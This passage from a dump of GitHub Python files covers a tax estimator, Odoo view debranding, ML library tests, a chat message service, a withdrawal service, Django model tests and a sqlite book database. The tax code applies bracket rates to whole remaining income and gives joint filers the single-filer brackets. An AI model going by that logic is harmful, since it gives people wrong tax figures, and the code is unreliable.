{tax_return}\")\n    else:\n        tax_return = tax_return * (-1)\n        print(f\"You owe {tax_return}\")\n\ndef single_tax_calc(agi, deductions, payments, credits):\n    tax = 0\n    taxable_income = agi - deductions\n    remainder = taxable_income\n    brackets = [(10275, .10), (31500, .12), (47300, .22), (80975, .24), (45445, .32), (323950, .35), (inf, .37)]\n    while remainder > 0:\n        for bracket, rate in brackets:\n            if remainder == 0:\n                break\n            elif remainder < bracket:\n                tax = tax + (remainder * rate)\n                remainder = 0\n            elif remainder > bracket:\n                tax = tax + (remainder * rate)\n                remainder = remainder - bracket\n\n    print(f\"Your taxable income is {taxable_income}\")\n    tax_return = tax - credits - payments\n    return tax_return\n\ndef MFJ_tax_calc(agi, deductions, payments, credits):\n    tax = 0\n    taxable_income = agi - deductions\n    remainder = taxable_income\n    brackets = [(10275, .10), (31500, .12), (47300, .22), (80975, .24), (45445, .32), (323950, .35), (inf, .37)]\n    while remainder > 0:\n        for bracket, rate in brackets:\n            if remainder == 0:\n                break\n            elif remainder < bracket:\n                tax = tax + (remainder * rate)\n                remainder = 0\n            elif remainder > bracket:\n                tax = tax + (remainder * rate)\n                remainder = remainder - bracket\n\n    print(f\"Your taxable income is {taxable_income}\")\n    tax_return = tax - credits - payments\n    return tax_return\n\nif __name__==\"__main__\":\n    main()","repo_name":"inspiredraven/Tax_est_2022","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"16291119133","text":"import logging\nfrom odoo.tools import mute_logger\nfrom odoo import models, api\n\nfrom .ir_translation import debrand\n\n_logger = logging.getLogger(__name__)\n\nMODULE = '_web_debranding'\n\n\nclass View(models.Model):\n    _inherit = 'ir.ui.view'\n\n    def read_combined(self, fields=None):\n        res = super(View, self).read_combined(fields=fields)\n        res['arch'] = debrand(self.env, res['arch'], is_code=True)\n        return res\n\n    @api.model\n    def _create_debranding_views(self):\n      return True\n\n    @api.model\n    def _create_view(self, name, inherit_id, arch, noupdate=False, type='qweb'):\n        view = self.env.ref(\"%s.%s\" % (MODULE, name), raise_if_not_found=False)\n        if view:\n            try:\n                view.write({\n                    'arch': arch,\n                })\n                view._check_xml()\n            except:\n                _logger.warning('Cannot update view %s. Delete it.', name, exc_info=True)\n                view.unlink()\n                return\n\n            return view.id\n\n        try:\n            with self.env.cr.savepoint(), mute_logger('odoo.models'):\n                view = self.env['ir.ui.view'].create({\n                    'name': name,\n                    'type': type,\n                    'arch': arch,\n                    'inherit_id': self.env.ref(inherit_id, raise_if_not_found=True).id\n                })\n                view._check_xml()\n        except:\n            _logger.debug('Cannot create view %s. Cancel.', name, exc_info=True)\n            return\n        self.env['ir.model.data'].create({\n            'name': name,\n            'model': 'ir.ui.view',\n            'module': MODULE,\n            'res_id': view.id,\n            'noupdate': noupdate,\n        })\n        return view.id\n","repo_name":"ninassofts/web_debranding","sub_path":"models/ir_ui_view.py","file_name":"ir_ui_view.py","file_ext":"py","file_size_in_byte":1751,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"39732804023","text":"from feast import Entity, Feature, FeatureView, FileSource, ValueType\n\nfrom os.path import dirname, abspath\nd = dirname(dirname(dirname(abspath(__file__))))\n\nus_covid_stats = FileSource(\n    path=\"%s/data/us-covid.parquet\"%d,\n    event_timestamp_column=\"date\",\n    created_timestamp_column=None,\n)\n\nstate = Entity(name=\"state\", value_type=ValueType.STRING, description=\"US state\")\n\nstate_daily_stats_view = FeatureView(\n    name=\"living_pegasus\",\n    entities=[\"state\"],\n    ttl=None,\n    features=[\n        Feature(name=\"death\", dtype=ValueType.INT64),\n        Feature(name=\"hospitalized\", dtype=ValueType.INT64),\n    ],\n    online=True,\n    batch_source=us_covid_stats,\n    tags={},\n)\n","repo_name":"bryanesmith/playing-with-features","sub_path":"feast/feature-repos/living_pegasus/us_covid.py","file_name":"us_covid.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73038593333","text":"# Sebastian Raschka 2014-2017\n# mlxtend Machine Learning Library Extensions\n# Author: Sebastian Raschka <sebastianraschka.com>\n#\n# License: BSD 3 clause\n\nfrom mlxtend.tf_classifier import TfMultiLayerPerceptron as MLP\nfrom mlxtend.data import iris_data\nimport numpy as np\nfrom nose.tools import raises\n\n\nX, y = iris_data()\nX = X[:, [0, 3]]  # sepal length and petal width\nX_bin = X[0:100]  # class 0 and class 1\ny_bin = y[0:100]  # class 0 and class 1\n\n# standardize\nX_bin[:, 0] = (X_bin[:, 0] - X_bin[:, 0].mean()) / X_bin[:, 0].std()\nX_bin[:, 1] = (X_bin[:, 1] - X_bin[:, 1].mean()) / X_bin[:, 1].std()\nX[:, 0] = (X[:, 0] - X[:, 0].mean()) / X[:, 0].std()\nX[:, 1] = (X[:, 1] - X[:, 1].mean()) / X[:, 1].std()\n\n\n@raises(AttributeError)\ndef test_optimizer_init():\n    MLP(optimizer='no-optimizer')\n\n\n@raises(AttributeError)\ndef test_activations_init_typo():\n    MLP(hidden_layers=[1, 2], activations=['logistic', 'invalid'])\n\n\n@raises(AttributeError)\ndef test_activations_invalid_ele_1():\n    MLP(hidden_layers=[1], activations=['logistic', 'logistic'])\n\n\n@raises(AttributeError)\ndef test_activations_invalid_ele_2():\n    MLP(hidden_layers=[10, 10], activations=['logistic'])\n\n\ndef test_mapping():\n    mlp = MLP()\n    w, b = mlp._layermapping(n_features=10,\n                             n_classes=11,\n                             hidden_layers=[8, 7, 6])\n\n    expect_b = {'1': [[8], 'n_hidden_1'],\n                '2': [[7], 'n_hidden_2'],\n                '3': [[6], 'n_hidden_3'],\n                'out': [[11], 'n_classes']}\n\n    expect_w = {'1': [[10, 8], 'n_features, n_hidden_1'],\n                '2': [[8, 7], 'n_hidden_1, n_hidden_2'],\n                '3': [[7, 6], 'n_hidden_2, n_hidden_3'],\n                'out': [[6, 11], 'n_hidden_3, n_classes']}\n\n    assert expect_b == b, b\n    assert expect_w == w, w\n\n\ndef test_binary_gd():\n    mlp = MLP(epochs=100,\n              eta=0.5,\n              hidden_layers=[5],\n              optimizer='gradientdescent',\n              activations=['logistic'],\n              minibatches=1,\n              random_seed=1)\n\n    mlp.fit(X_bin, y_bin)\n    assert (y_bin == mlp.predict(X_bin)).all()\n\n\ndef test_binary_gd_relu():\n    mlp = MLP(epochs=100,\n              eta=0.5,\n              hidden_layers=[5],\n              optimizer='gradientdescent',\n              activations=['relu'],\n              minibatches=1,\n              random_seed=1)\n\n    mlp.fit(X_bin, y_bin)\n    assert (y_bin == mlp.predict(X_bin)).all()\n\n\ndef test_binary_sgd():\n    mlp = MLP(epochs=10,\n              eta=0.5,\n              hidden_layers=[5],\n              optimizer='gradientdescent',\n              activations=['logistic'],\n              minibatches=len(y_bin),\n              random_seed=1)\n\n    mlp.fit(X_bin, y_bin)\n    assert (y_bin == mlp.predict(X_bin)).all()\n\n\ndef test_multiclass_probas():\n    mlp = MLP(epochs=500,\n              eta=0.5,\n              hidden_layers=[10],\n              optimizer='gradientdescent',\n              activations=['logistic'],\n              minibatches=1,\n              random_seed=1)\n    mlp.fit(X, y)\n    idx = [0, 50, 149]  # sample labels: 0, 1, 2\n    y_pred = mlp.predict_proba(X[idx])\n    exp = np.array([[1.0, 0.0, 0.0],\n                    [0.0, 0.9, 0.1],\n                    [0.0, 0.1, 0.9]])\n    np.testing.assert_almost_equal(y_pred, exp, 1)\n\n\ndef test_multiclass_gd_acc():\n    mlp = MLP(epochs=100,\n              eta=0.5,\n              hidden_layers=[5],\n              optimizer='gradientdescent',\n              activations=['logistic'],\n              minibatches=1,\n              random_seed=1)\n    mlp.fit(X, y)\n    assert (y == mlp.predict(X)).all()\n\n\ndef test_continue_learning():\n    mlp = MLP(epochs=25,\n              eta=0.5,\n              hidden_layers=[5],\n              optimizer='gradientdescent',\n              activations=['logistic'],\n              minibatches=1,\n              random_seed=1)\n    mlp.fit(X, y)\n    assert np.sum(y == mlp.predict(X)) == 144, np.sum(y == mlp.predict(X))\n    mlp.fit(X, y, init_params=False)\n    assert np.sum(y == mlp.predict(X)) == 150, np.sum(y == mlp.predict(X))\n\n\ndef test_score_function():\n    mlp = MLP(epochs=100,\n              eta=0.5,\n              hidden_layers=[5],\n              optimizer='gradientdescent',\n              activations=['logistic'],\n              minibatches=1,\n              random_seed=1)\n    mlp.fit(X, y)\n    acc = mlp.score(X, y)\n    assert acc == 1.0, acc\n\n\ndef test_score_function_momentum():\n    mlp = MLP(epochs=100,\n              eta=0.5,\n              hidden_layers=[5],\n              optimizer='momentum',\n              activations=['logistic'],\n              minibatches=1,\n              random_seed=1)\n    mlp.fit(X, y)\n    acc = mlp.score(X, y)\n    assert acc == 1.0, acc\n\n\ndef test_score_function_adam():\n    mlp = MLP(epochs=100,\n              eta=0.5,\n              hidden_layers=[5],\n              optimizer='adam',\n              activations=['logistic'],\n              minibatches=1,\n              random_seed=1)\n    mlp.fit(X, y)\n    acc = mlp.score(X, y)\n    assert acc == 1.0, acc\n\n\ndef test_score_function_ftrl():\n    mlp = MLP(epochs=100,\n              eta=0.5,\n              hidden_layers=[5],\n              optimizer='ftrl',\n              activations=['logistic'],\n              minibatches=1,\n              random_seed=1)\n    mlp.fit(X, y)\n    acc = mlp.score(X, y)\n    assert acc == 1.0, acc\n\n\ndef test_score_function_adagrad():\n    mlp = MLP(epochs=100,\n              eta=0.5,\n              hidden_layers=[5],\n              optimizer='adagrad',\n              activations=['logistic'],\n              minibatches=1,\n              random_seed=1)\n    mlp.fit(X, y)\n    acc = mlp.score(X, y)\n    assert acc == 1.0, acc\n\n\n@raises(AttributeError)\ndef test_fail_minibatches():\n    mlp = MLP(epochs=100,\n              eta=0.5,\n              hidden_layers=[5],\n              optimizer='gradientdescent',\n              activations=['logistic'],\n              minibatches=13,\n              random_seed=1)\n    mlp.fit(X, y)\n    assert (y == mlp.predict(X)).all()\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/rasbt_mlxtend/mlxtend-master/mlxtend/tf_classifier/tests/tests_tf_multilayerperceptron.py","file_name":"tests_tf_multilayerperceptron.py","file_ext":"py","file_size_in_byte":6025,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"}
+{"seq_id":"3195938377","text":"import argparse, os, os.path\n\ndef make_filelist(dirname):\n    output = {}\n\n    for filename in os.listdir(dirname):\n        hexit = int(os.path.splitext(os.path.basename(filename))[0], 16)\n        output[hexit] = os.path.join(dirname, filename)\n\n    return output\n\noutlist = {}\noutlist.update(make_filelist(\"..\\\\graphics\\\\unknown\"))\noutlist.update(make_filelist(\"..\\\\script\\\\unknown_res\"))\n\nkeylist = sorted(outlist.keys())\n\nfor key in keylist:\n    print (\"\\\"%s\\\"\" % (outlist[key], ))\n","repo_name":"telefang/bugsite","sub_path":"utilities/generate_bfs.py","file_name":"generate_bfs.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"}
+{"seq_id":"33816797485","text":"from src.services.base import BaseService\r\nfrom src.models.message import Message\r\nfrom src.models.group import GroupChat\r\nfrom src.models.message_user_read import MessageUserRead\r\nfrom protos import message_pb2\r\nfrom threading import Thread\r\nfrom datetime import datetime\r\nfrom queue import Queue\r\nimport uuid\r\nimport asyncio\r\nfrom utils.config import *\r\nfrom utils.logger import *\r\n\r\nclient_message_queue = {}\r\nimport logging\r\nlogger = logging.getLogger(__name__)\r\n\r\nclass MessageService(BaseService):\r\n    \"\"\"\r\n    MessageService, involved in storing new message, updating message, loading message history, subscribe/unsubcribe message channel for user\r\n    \"\"\"\r\n    def __init__(self):\r\n        super().__init__(Message())\r\n        self.service_group = GroupChat()\r\n        self.message_read_model = MessageUserRead()\r\n\r\n    def store_message(self, message_id, created_at, group_id, group_type, from_client_id, from_client_workspace_domain, client_id, message, sender_message=b''):\r\n        # init new message\r\n        self.model = Message(\r\n            id=message_id,\r\n            group_id=group_id,\r\n            from_client_id=from_client_id,\r\n            from_client_workspace_domain=from_client_workspace_domain,\r\n            client_id=client_id,\r\n            message=message,\r\n            created_at=created_at,\r\n            sender_message=sender_message\r\n        )\r\n        self.model.add()\r\n        self.update_group_last_message(group_id, created_at, message_id)\r\n        # response\r\n        new_message = self.model.get(message_id)\r\n        res_obj = message_pb2.MessageObjectResponse(\r\n            id=new_message.id,\r\n            group_id=new_message.group_id,\r\n            group_type=group_type,\r\n            from_client_id=new_message.from_client_id,\r\n            from_client_workspace_domain=new_message.from_client_workspace_domain,\r\n            message=message,\r\n            created_at=int(new_message.created_at.timestamp() * 1000),\r\n            sender_message=sender_message\r\n        )\r\n        if new_message.client_id:\r\n            res_obj.client_id = new_message.client_id\r\n        if new_message.updated_at:\r\n            res_obj.updated_at = int(new_message.updated_at.timestamp() * 1000)\r\n\r\n        res_obj.client_workspace_domain = get_owner_workspace_domain()\r\n\r\n        return res_obj\r\n\r\n    def update_group_last_message(self, group_id, created_at, message_id):\r\n        GroupChat(\r\n            id=group_id,\r\n            last_message_at=created_at,\r\n            last_message_id=message_id\r\n        ).update()\r\n\r\n\r\n    def update_message(\r\n            self,\r\n            group_id,\r\n            from_client_id,\r\n            client_id,\r\n            message,\r\n            message_id):\r\n        self.model = Message().get(message_id)\r\n        updated_at = datetime.now()\r\n        self.model.updated_at = updated_at\r\n        self.model.update()\r\n        edited_message = self.model\r\n        res_obj = message_pb2.MessageObjectResponse(\r\n            id=edited_message.id,\r\n            group_id=edited_message.group_id,\r\n            from_client_id=edited_message.from_client_id,\r\n            message=message,\r\n            created_at=int(edited_message.created_at.timestamp() * 1000)\r\n        )\r\n        if edited_message.client_id:\r\n            res_obj.client_id = edited_message.client_id\r\n        if edited_message.updated_at:\r\n            res_obj.updated_at = int(edited_message.updated_at.timestamp() * 1000)\r\n\r\n        if client_id:\r\n            res_obj.group_type = \"peer\"\r\n        else:\r\n            res_obj.group_type = \"group\"\r\n\r\n        return res_obj\r\n\r\n    def get_message_in_group(self, client_id, group_id, offset=0, from_time=0):\r\n        lst_message = self.model.get_message_in_group(group_id, offset, from_time)\r\n        group_type = self.service_group.get_group_type(group_id=group_id)\r\n        lst_obj_res = []\r\n        for obj in lst_message:\r\n            obj_res = message_pb2.MessageObjectResponse(\r\n                id=obj.id,\r\n                group_id=obj.group_id,\r\n                group_type=group_type.group_type,\r\n                from_client_id=obj.from_client_id,\r\n                from_client_workspace_domain=obj.from_client_workspace_domain,\r\n                message=obj.message,\r\n                created_at=int(obj.created_at.timestamp() * 1000),\r\n            )\r\n            if obj.from_client_id == client_id:\r\n                obj_res.sender_message = obj.sender_message\r\n            if obj.client_id:\r\n                obj_res.client_id = obj.client_id\r\n            if obj.updated_at is not None:\r\n                obj_res.updated_at = int(obj.updated_at.timestamp() * 1000)\r\n\r\n            for client_read_item in obj.users_read:\r\n                client_read = message_pb2.ClientReadObject(\r\n                    id=client_read_item.user.id,\r\n                    display_name=client_read_item.user.display_name,\r\n                    avatar=client_read_item.user.avatar\r\n                )\r\n                obj_res.lst_client_read.append(client_read)\r\n\r\n            lst_obj_res.append(obj_res)\r\n\r\n        response = message_pb2.GetMessagesInGroupResponse(\r\n            lst_message=lst_obj_res\r\n        )\r\n        return response\r\n\r\n    async def subscribe(self, client_id, device_id):\r\n        message_channel = \"message/{}/{}\".format(client_id, device_id)\r\n        logger.info(f\"subscribe message channel {message_channel}\")\r\n        if message_channel in client_message_queue:\r\n            client_message_queue[message_channel] = None\r\n            del client_message_queue[message_channel]\r\n            await asyncio.sleep(1)\r\n        client_message_queue[message_channel] = Queue()\r\n\r\n    def un_subscribe(self, client_id, device_id):\r\n        message_channel = \"message/{}/{}\".format(client_id, device_id)\r\n        logger.info(f\"unsubscribe message channel {message_channel}\")\r\n        if message_channel in client_message_queue:\r\n            client_message_queue[message_channel] = None\r\n            del client_message_queue[message_channel]\r\n\r\n    def read_messages(self, client_id, lst_message_id):\r\n        for mess_id in lst_message_id:\r\n            MessageUserRead(\r\n                message_id=mess_id,\r\n                client_id=client_id\r\n            ).add()\r\n","repo_name":"ClearKeep/ck-backend","sub_path":"src/services/message.py","file_name":"message.py","file_ext":"py","file_size_in_byte":6222,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"}
+{"seq_id":"71528080374","text":"import typing as t\n\nfrom application.services.base import BaseCRUDService\nfrom application.services.file import FileService\nfrom application.services.flight import FlightService\nfrom common.constants import FLIGHT_ROUTE_PREFIX\nfrom common.exceptions.db import DuplicatedKeyError, ForeignKeyNotFound\nfrom common.logging import get_logger\nfrom presentation.rest.serializers import APISerializer, Page, Params, UpdateSerializer\nfrom presentation.rest.serializers.errors import EntityNotFoundError, UniqueViolationError, UnprocessableEntityError\nfrom presentation.rest.serializers.responses import (\n    BatchUpdateResponse,\n    FlightFilesListResponse,\n    FlightWithFilesResponse,\n)\n\nlogger = get_logger(__name__)\nT = t.TypeVar(\"T\", bound=APISerializer)\n\n\nclass CRUDMixin:\n    @staticmethod\n    def update_items(\n        items_to_update: UpdateSerializer[T],\n        service: BaseCRUDService,\n    ) -> BatchUpdateResponse[T]:\n        response = BatchUpdateResponse(items=[])\n        for entry in items_to_update.items:\n            try:\n                updated_item = service.update(entry)\n            except DuplicatedKeyError:\n                response.errors.append(\n                    UniqueViolationError(id=entry.id, detail=f\"The resource name already exists -> {entry}\")\n                )\n                continue\n            except ForeignKeyNotFound:\n                foreign_keys = entry.get_foreign_keys()\n                response.errors.append(\n                    UnprocessableEntityError(id=entry.id, detail=f\"one or more references do not exist: {foreign_keys}\")\n                )\n                continue\n\n            if updated_item is None:\n                response.errors.append(\n                    EntityNotFoundError(\n                        id=entry.id,\n                        detail=f\"{service._entity_type.capitalize()} not found\",\n                    )\n                )\n            else:\n                response.items.append(updated_item)\n        response.set_success()\n        return response\n\n\nclass FlightMixin(CRUDMixin):\n    @staticmethod\n    def get_paginated_flights_with_files(\n        page: int,\n        size: int,\n        flight_service: FlightService,\n        file_service: FileService,\n    ) -> Page[FlightWithFilesResponse]:\n        total, flights = flight_service.get_all_with_pagination(page, size)\n        flights = [FlightWithFilesResponse.from_orm(flight_obj) for flight_obj in flights]\n\n        for flight_obj in flights:\n            files = file_service.list_all_files(flight_obj.id)\n            flight_obj.files = FlightFilesListResponse.build_from_records(files, flight_obj.id)\n        page = Page.create(\n            items=flights,\n            total=total,\n            params=Params(page=page, size=size, path=FLIGHT_ROUTE_PREFIX),\n        )\n        return page\n","repo_name":"searchwingCV/log-viewer","sub_path":"server/src/presentation/rest/mixins.py","file_name":"mixins.py","file_ext":"py","file_size_in_byte":2810,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"39188130303","text":"from decimal import Decimal\n\nfrom src.application.dto.withdrawal_dto import WithdrawalInputDto, WithdrawalOutputDto\nfrom src.application.repository.withdrawal_repository import WithdrawalRepo\nfrom src.domain.services.withdrawal_domain_service import WithdrawalDomainService\nfrom src.domain.value.filed import userStatusFiled, assetFiled, networkFiled, addressFiled, networkCommissionFiled, orderIDFiled, baseQtyFiled,\\\n     priceFiled, avgEntryPriceFiled\nfrom src.domain.value.data import eventLoop\n\n\nclass WithdrawalApplicationService:\n    def __init__(self, input_dto: WithdrawalInputDto):\n        self._input_dto = input_dto\n\n    def get_newset_withdrawal(self, withdrawal_repo, withdrawal_domain, uid):\n        withdrawal_list   = withdrawal_repo.find_withdrawal_list()\n        newest_withdrawal = eventLoop.run_until_complete(withdrawal_domain.get_newest(withdrawal_list))\n        return newest_withdrawal\n\n    def get_newest_order(self, withdrawal_repo, withdrawal_domain, uid, order_id):\n        order_list        = withdrawal_repo.find_order_list(order_id)\n        newest_order      = eventLoop.run_until_complete(withdrawal_domain.get_newest(order_list))\n        return newest_order\n\n    def amt_range(self, withdrawal_domain, uid, base_qty, fund_price, asset):\n        asset_value       = Decimal(base_qty) * Decimal(fund_price)\n        exchange_rate     = withdrawal_domain.get_usdt_exchange_rate(assetFiled)\n        amt_high, amt_low = withdrawal_domain.calculate_withdrawal_amt_range(asset_value, exchange_rate)\n        return amt_high, amt_low\n\n    def get_investment_info(self, uid, base_qty, fund_price, avg_entry_price):\n        asset_value          = Decimal(base_qty) * Decimal(fund_price)\n        investment_principal = Decimal(base_qty) * Decimal(avg_entry_price)\n        investment_profit    = asset_value - investment_principal\n        return investment_principal, investment_profit\n\n    async def get_withdrawal_price(self, withdrawal_repo, uid, fund_name):\n        fund_price      = withdrawal_repo.find_fund_data(fund_name)[priceFiled]\n        avg_entry_price = withdrawal_repo.find_balance(fund_name)[avgEntryPriceFiled]\n        return fund_price, avg_entry_price\n\n    def create_withdrawal_receipt(self) -> WithdrawalOutputDto:\n        uid               = self._input_dto.uid\n        withdrawal_domain = WithdrawalDomainService(uid)\n        withdrawal_repo   = WithdrawalRepo(uid)\n        newest_withdrawal = self.get_newset_withdrawal(withdrawal_repo, withdrawal_domain, uid)\n        base_qty          = self.get_newest_order(withdrawal_repo, withdrawal_domain, uid, newest_withdrawal[orderIDFiled])[baseQtyFiled]\n\n        fund_price, avg_entry_price = eventLoop.run_until_complete(self.get_withdrawal_price(withdrawal_repo, uid, self._input_dto.fund_name))\n\n        wd_status  = newest_withdrawal[userStatusFiled]\n        wd_asset   = newest_withdrawal[assetFiled]\n        wd_network = newest_withdrawal[networkFiled]\n        wd_address = newest_withdrawal[addressFiled]\n        wd_fee     = newest_withdrawal.get(networkCommissionFiled, 0)\n\n        remaining_secounds = eventLoop.run_until_complete(withdrawal_domain.get_remaining_secound(wd_status))\n        amt_high, amt_low = self.amt_range(withdrawal_domain, uid, base_qty, fund_price, wd_asset)\n        investment_principal, investment_profit = self.get_investment_info(uid, base_qty, fund_price, avg_entry_price)\n        return WithdrawalOutputDto(uid=uid,\n                                    status=wd_status,\n                                    asset=wd_asset,\n                                    network=wd_network,\n                                    withdrawal_address=wd_address,\n                                    remaining_secounds=remaining_secounds,\n                                    expected_amt_high=amt_high,\n                                    expected_amt_low=amt_low,\n                                    investment_principal=investment_principal,\n                                    inbestment_profit=investment_profit,\n                                    withdrawal_fee=wd_fee)\n\n    def cancel_withdrawal(self):\n        uid               = self._input_dto.uid\n        withdrawal_repo   = WithdrawalRepo(uid)\n        withdrawal_domain = WithdrawalDomainService(uid)\n        newst_withdrawal  = self.get_newset_withdrawal(withdrawal_repo, withdrawal_domain, uid)\n        order_id          = newst_withdrawal[orderIDFiled]\n        withdrawal_status = newst_withdrawal[userStatusFiled]\n\n        status_params = WithdrawalDomainService(uid).record_cancle_withdrawal(withdrawal_status)\n        result = WithdrawalRepo(uid).update_withdrawal_status(order_id, status_params)\n        return result\n","repo_name":"mo-zza/application_api","sub_path":"src/application/services/withdrawal_application_service.py","file_name":"withdrawal_application_service.py","file_ext":"py","file_size_in_byte":4696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"11314901581","text":"import pytest \nfrom library.books.models import *\n\n#EJEMPLOS ====================================================\n\n@pytest.mark.django_db\ndef test_author_name():\n     author = Author.objects.create(name='Paulo', last_name='Coelho')\n     print('This is my authors name: ', author.name)\n     assert author.last_name == 'Coelho'\n     assert Author.objects.all().count() == 1\n     author.delete()\n     assert Author.objects.all().count() == 0\n    \n@pytest.mark.django_db\n@pytest.mark.parametrize(\n    'nombre, apellido',\n    (\n        ('Paulo', 'Coelho'),\n        ('Haruki', 'Murakami')\n    )\n)\ndef test_author_name(nombre, apellido):\n    author = Author.objects.create(name=nombre, last_name=apellido)\n    print('This is my authors name: ', author.name )\n    assert Author.objects.all().count() == 1\n    author.delete()\n    assert Author.objects.all().count() < 1\n\n#EJERCICIO ====================================================\n\n@pytest.mark.django_db\ndef test_country_name():\n    country = Country.objects.create(name='Canada')\n    print('This is a country name: ', country.name)\n    assert country.name == 'Canada'\n    assert Country.objects.all().count() == 1\n    country.delete()\n    assert Country.objects.all().count() == 0\n\n@pytest.mark.django_db\ndef test_country_name_is_str():\n    country = Country.objects.create(name='Canada')\n    print('This is a country name not a number: ', country.name)\n    assert type(country.name)  is not int\n    assert Country.objects.all().count() == 1\n    country.delete()\n    assert Country.objects.all().count() == 0\n\n@pytest.mark.django_db\ndef test_category_name():\n    category = Category.objects.create(name='Horror')\n    print('This is a category name: ', category.name)\n    assert category.name is not 'Sci-Fi'\n    assert Category.objects.all().count() == 1\n    category.delete()\n    assert Category.objects.all().count() == 0\n\n@pytest.mark.django_db\ndef test_book_name_price():\n    book = Book.objects.create(name='Alice in Wonderland', publish_year=1865,\n    pages=260, price=19.99)\n    print('This is the book name: ', book.name, ' Price: $',book.price)\n    assert book.name == 'Alice in Wonderland' and book.price is not 20.99\n    assert Book.objects.all().count() == 1\n    book.delete()\n    assert Book.objects.all().count() == 0\n\n\n@pytest.mark.django_db\n@pytest.mark.parametrize(\n    'nombre, year, paginas ,precio',\n    (\n        ('100 años de soledad', 2015, 200 ,29.99),\n        ('Nocturna', 2009, 350, 5.99),\n        ('Oscura', 2010, 186, 6.99),\n        ('Eterna', 2012, 284, 7.99)\n    )\n)\ndef test_book_year_price(nombre, year, paginas, precio):\n    book = Book.objects.create(name=nombre, publish_year=year, pages=paginas, price=precio)\n    print('This is my authors name: ', book.name, ' Year: ', book.publish_year, ' the price is: ', book.price)\n    assert Book.objects.all().count() == 1\n    book.delete()\n    assert Book.objects.all().count() < 1\n\n\n\n@pytest.mark.django_db\n@pytest.mark.parametrize(\n    'nombre, year, paginas ,precio',\n    (\n        ('100 años de soledad', 2015, 200 ,29.99),\n        ('Nocturna', 2009, 350, 25.99),\n        ('Oscura', 2010, 186, 16.99),\n        ('Eterna', 2012, 284, 7.99)\n    )\n)\ndef test_bookprice(nombre, year, paginas, precio):\n    book = Book.objects.create(name=nombre, publish_year=year, pages=paginas, price=precio)\n    print('This is my books name: ', book.name, ' the price is less than 50.00: ', book.price)\n    print('Less than 50 pavos: ',(float(book.price) <= 50.00))\n    assert float(book.price) <= 50.00\n    book.delete()\n\n\n@pytest.mark.django_db\n@pytest.mark.parametrize(\n    'libro, year, paginas ,precio, pais',\n    (\n        ('100 años de soledad', 2015, 200 ,29.99, 'Mexico'),\n        ('Nocturna', 2009, 350, 5.99, 'Canada'),\n        ('Oscura', 2010, 186, 6.99, 'USA'),\n        ('Eterna', 2012, 284, 7.99, 'España')\n    )\n)\ndef test_book_country(libro, year, paginas ,precio, pais):\n    book = Book.objects.create(name = libro,  publish_year=year, pages=paginas, price=precio)\n    country = Country.objects.create(name = pais)\n    print('This is my authors name: ', book.name, 'Pais de origen: ', country.name)\n    assert country.name is not 'Russian'\n    assert book.publish_year is not 1000\n    country.delete()\n    book.delete()\n\n@pytest.mark.django_db\n@pytest.mark.parametrize(\n\t'categoria',\n\t(\n\t\t('Fantasy'),\n\t\t('Drama'),\n\t\t('Romance'),\n        ('Horror'),\n        ('Sci-Fi'),\n    )\n)\ndef test_category_lenght(categoria):\n    category = Category.objects.create(name = categoria)\n    print('Categoria:', category.name)\n    print('Menor de 128 caracteres: ',(len(category.name) <= 128))\n    assert len(category.name) <= 128\n    category.delete()\n\n@pytest.mark.django_db\n@pytest.mark.parametrize(\n\t'pais',\n\t(\n\t\t('MEX'),\n\t\t('USA'),\n\t\t('CHN'),\n        ('SPA'),\n        ('RUS'),\n    )\n)\ndef test_country_type(pais):\n    country = Country.objects.create(name = pais)\n    print('Categoria:', country.name)\n    print('Es string: ',(type(country.name) is not int))\n    assert type(country.name)  is not int\n    country.delete()\n\n# @pytest.mark.django_db\n# def test_author_with_monkey(monkeypatch):\n# \tautor = Author.objects.create(name='Nombre', last_name='Apellido')\n\n# \tclass AuthorQuerysetMock():\n# \t\tdef _init_(self):\n# \t\t\tself.some_value = 1\n\n# \t\tdef count(self):\n# \t\t\treturn 4\n\n# \tdef model_count_mock():\n# \t\treturn AuthorQuerysetMock()\n\n# \tmonkeypatch.setattr(Author.objects, 'count', model_count_mock)\n\n# \tassert Author.objects.all().count() == 4\n# \tprint('Haciendo el monkeypatch')","repo_name":"DearSergioM/travis-dearsergio","sub_path":"tests/books/test_books.py","file_name":"test_books.py","file_ext":"py","file_size_in_byte":5504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"12645319174","text":"import sqlite3 as sq\n\n\ndef connect():\n    connection = sq.connect(\"Books.db\")\n    cursor = connection.cursor()\n    cursor.execute(\n        \"CREATE TABLE IF NOT EXISTS books (id INTEGER PRIMARY KEY, title text, author text, year integer, isbn integer)\")\n    connection.commit()\n    connection.close()\n\n\ndef insert(title, author, year, isbn):\n    connection = sq.connect(\"Books.db\")\n    cursor = connection.cursor()\n    cursor.execute(\n        \"INSERT INTO books VALUES (NULL,?,?,?,?)\", (title, author, year, isbn))\n    connection.commit()\n    connection.close()\n\n\ndef viewAll():\n    connection = sq.connect(\"Books.db\")\n    cursor = connection.cursor()\n    cursor.execute(\"SELECT * FROM books\")\n    results = cursor.fetchall()\n    connection.close()\n\n    return results\n\n\ndef search(title=\"\", author=\"\", year=\"\", isbn=\"\"):\n    connection = sq.connect(\"Books.db\")\n    cursor = connection.cursor()\n    cursor.execute(\n        \"SELECT * FROM books WHERE title=? OR author=? OR year=? OR isbn=?\", (title, author, year, isbn))\n\n    results = cursor.fetchall()\n    return results\n\n\ndef update(id, title, author, year, isbn):\n    connection = sq.connect(\"Books.db\")\n    cursor = connection.cursor()\n    cursor.execute(\"UPDATE books SET title=?, author=?, year=?, isbn=? WHERE id=?\",\n                   (title, author, year, 